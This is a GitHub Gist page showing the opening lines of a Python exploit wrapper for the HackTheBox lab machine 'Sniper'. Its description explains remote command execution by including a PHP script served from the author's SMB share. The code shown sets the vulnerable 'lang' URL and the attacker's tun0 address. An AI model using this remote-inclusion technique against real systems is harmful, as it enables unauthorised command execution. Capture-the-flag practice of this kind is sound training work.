Skip to content

Instantly share code, notes, and snippets.

View 5ysk3y's full-sized avatar
🌀
NixOS'in

Rickie 5ysk3y

🌀
NixOS'in
View GitHub Profile
@5ysk3y
5ysk3y / exploit.py
Last active April 6, 2020 14:24
Hack the Box - Sniper Wrapper - This is a small wrapper script designed to allow for easier command execution on the HackTheBox machine "Sniper" - this uses an SMB share (I've included my SMB config block also) and a basic PHP script (also shown) hosted within it to run commands. The script will also format any output from commands making it a n…
#!/usr/bin/python
import requests
import sys
import string
import netifaces as ni
# Set HTB Machine IP and tun0 IP.
url = "http://10.10.10.151/blog/?lang="
myIP = ni.ifaddresses('tun0')[ni.AF_INET][0]['addr']